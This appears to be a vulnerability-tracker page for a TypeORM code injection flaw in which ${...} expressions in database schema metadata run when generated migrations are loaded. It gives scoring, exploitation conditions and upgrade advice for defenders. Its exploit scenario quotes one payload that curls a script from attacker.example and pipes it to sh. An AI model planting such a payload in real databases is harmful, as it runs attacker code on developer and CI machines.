Skip to main content

TypeORM CVE-2026-73651

| EUVDEUVD-2026-58194 MEDIUM
Code Injection (CWE-94)
2026-08-13 GitHub_M
5.7
CVSS 3.1 · Vendor: GitHub_M
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Obtain database schema write access
  2. Delivery
    Inject ${...} payload into column COMMENT or DEFAULT metadata
  3. Exploit
    Developer/CI runs typeorm migration:generate
  4. Execution
    Payload embedded unescaped in generated migration file
  5. Persist
    Migration file loaded via migration:run or import
  6. Impact
    Arbitrary JavaScript executes on migration host

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Code injection prevention, sandbox exec
MITRE ATT&CK

2 techniques across 2 tactics: Execution, Initial Access

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires three conditions to coincide: (1) the attacker must have database schema write privileges sufficient to modify column COMMENTs, DEFAULT values, CHECK constraints, or view definitions on one of the affected drivers (PostgreSQL, MySQL, MariaDB, or CockroachDB); (2) a developer or automated pipeline must execute typeorm migration:generate against the compromised database; and (3) the resulting migration file must be loaded by Node.js via migration:run, import, or require. The CVSS PR:H metric confirms that elevated database privileges are required - default read-only or application-level credentials that cannot alter schema metadata are not sufficient. Exploitation is further limited by the UI:R metric: a human or automated actor must actively trigger migration generation. Environments where migration:generate is run only against development databases with tightly controlled schema write access are significantly less exposed than CI/CD pipelines that regenerate migrations against shared or production-mirrored schemas.

Impact

The NVD CVSS 3.1 vector (AV:N/AC:H/PR:H/UI:R/S:U/C:H/I:H/A:N) scoring 5.7 accurately reflects the multi-step, high-privilege prerequisites: an attacker must first obtain database schema write access (PR:H), a developer must then run migration:generate against the compromised schema (UI:R), and the generated file must be loaded (AC:H). Despite the C:H/I:H impact ratings, the compounding preconditions substantially limit realistic exploitation. No EPSS data was provided in the intelligence feed; the absence of a KEV listing and public POC independently supports a lower-urgency posture. That said, the impact when conditions align is severe - arbitrary code execution on a developer workstation or CI/CD runner - making this high-priority for teams where CI pipelines automatically generate and run migrations against shared or externally-accessible databases. There is no conflict between the CVSS vector and the description; the network attack vector reflects the attacker's ability to inject the payload remotely via database write access, while local execution occurs on the migration host.

Exploit ScenarioDerived

An attacker with write access to the target database - obtained via a compromised application account, a misconfigured privilege, or a separate SQL injection - sets a column COMMENT to ${require('child_process').execSync('curl https://attacker.example/implant.sh|sh')}. When a developer or CI pipeline runs typeorm migration:generate against that database, the payload is embedded verbatim in the generated TypeScript migration file. On the next migration:run or module import, Node.js evaluates the template literal and executes the embedded shell command on the migration host.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
Patch available 0.2% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Aug 13, 2026

Template-literal code injection in TypeORM's migration:generate command allows an attacker with database schema write access to achieve arbitrary JavaScript execution on any host that loads the generated migration file. Affected are TypeORM npm versions prior to 0.3.31 (0.x branch) and versions 1.0.0 through 1.0.x (fixed in 1.1.0), spanning PostgreSQL, MySQL, MariaDB, and CockroachDB drivers. No active exploitation has been confirmed (not in CISA KEV) and no public exploit code has been identified at time of analysis; however, the GHSA advisory provides sufficient technical detail to reproduce the attack.

RemediationAI

Upgrade TypeORM to version 0.3.31 (for 0.x users) or 1.1.0 (for 1.x users), both available on npm and tagged at https://github.com/typeorm/typeorm/releases/tag/0.3.31 and https://github.com/typeorm/typeorm/releases/tag/1.1.0 respectively. The fix introduces a static escapeTemplateLiteral() method that escapes backslashes, backticks, and the ${ sequence before embedding SQL into generated migration files (commit 41d1c62fe49f99c3ca916d4d986f61ee9f45d519 and b175f9b8be422edd2a2ac035ba90c3f2ce782dfe). If an immediate upgrade is not possible, avoid running migration:generate against databases where untrusted parties can write schema metadata (column COMMENTs, DEFAULT values, CHECK constraints, or view definitions); as a workaround, manually audit any generated migration files for unexpected ${...} expressions before loading them. Restricting database schema write permissions to only trusted automation accounts reduces the attacker's ability to plant a payload. Note that manual auditing is error-prone and should be treated as a temporary measure only.

Affected VersionsENISA

typeorm 1.0.0, < 1.1.0
typeorm < 0.3.31

Affected Packages

npm typeorm fix: 0.3.31, 1.1.0

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in npm

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

TypeORM (CPE: cpe:2.3:a:typeorm:typeorm:*:*:*:*:*:*:*:*) is a widely-used Node.js/TypeScript ORM supporting multiple SQL backends. The vulnerability (CWE-94: Improper Control of Generation of Code) resides in MigrationGenerateCommand.ts (lines 117-138), which wraps introspected SQL statements in JavaScript template literals to produce migration files. The code escaped backtick characters but did not escape the ${...} interpolation sequence. Driver-level query runners for PostgreSQL (PostgresQueryRunner.ts), MySQL/MariaDB (MysqlQueryRunner.ts), and CockroachDB (CockroachQueryRunner.ts) read schema metadata - column COMMENTs, DEFAULT values, CHECK constraints, and view definitions - and pass these strings directly into the template-literal sink. The per-driver escapeComment() function stripped only null bytes, leaving ${...} intact. When the generated migration file is subsequently loaded via migration:run, import, or require, the Node.js JavaScript engine evaluates any embedded ${...} expression as live code.

Know when Typeorm gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (GitHub_M) PRIMARY 5.7 MEDIUM
AV:N/AC:H/PR:H/UI:R/S:U/C:H/I:H/A:N
vuln.today AI 5.7 MEDIUM

PR:H for required database schema write access; AC:H for multi-step preconditions; UI:R for developer-triggered migration generation; no availability impact.

3.1 AV:N/AC:H/PR:H/UI:R/S:U/C:H/I:H/A:N
4.0 AV:N/AC:H/AT:P/PR:H/UI:A/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N
Red Hat 5.7 MEDIUM

Primary rating from Vendor (GitHub_M).

CVSS VectorVendor: GitHub_M

Attack Vector
Network
Attack Complexity
High
Privileges Required
High
User Interaction
Required
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
None

Lifecycle Timeline

1
Patch available
Aug 13, 2026 - 19:04 EUVD

DescriptionCVE.org

TypeORM is a TypeScript and JavaScript ORM for Node.js that supports PostgreSQL, MySQL, MariaDB, SQLite, SQL Server, Oracle, and other databases. Prior to versions 0.3.31 and 1.1.0, typeorm migration:generate embeds database schema metadata into JavaScript or TypeScript template literals in src/commands/MigrationGenerateCommand.ts, escaping backticks but not ${...} interpolation. An attacker with database schema write access can place a payload in column COMMENT or DEFAULT metadata, or another introspected schema string, and the JavaScript engine evaluates the payload when the generated migration is loaded through migration:run, import, or require. This issue is fixed in versions 0.3.31 and 1.1.0.

Blast Radius

ecosystem impact
† from your stack dependencies † transitive graph · vuln.today resolves 4-path depth
  • 9 npm packages depend on typeorm (8 direct, 1 indirect)

Ecosystem-wide dependent count for version 1.0.0.

Threat Intelligence Overview

EPSS Score
0.2%
Top 86% exploitable
Prevalence
Medium
popular Node.js ORM, not universal infrastructure
Exploit
POC
Public exploit code exists
Data Quality
7 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment Vendor GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC Yes
EPSS 0.2%
Patch available Yes
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
No
Human Impact· derived
Medium
Technical Impact
Total

Priority Score

48
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +28
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Code Injection CRITICAL

Code injection occurs when an application accepts user input and passes it directly into a language interpreter or evaluator without proper sanitization.

Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.

Vendor StatusVendor

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy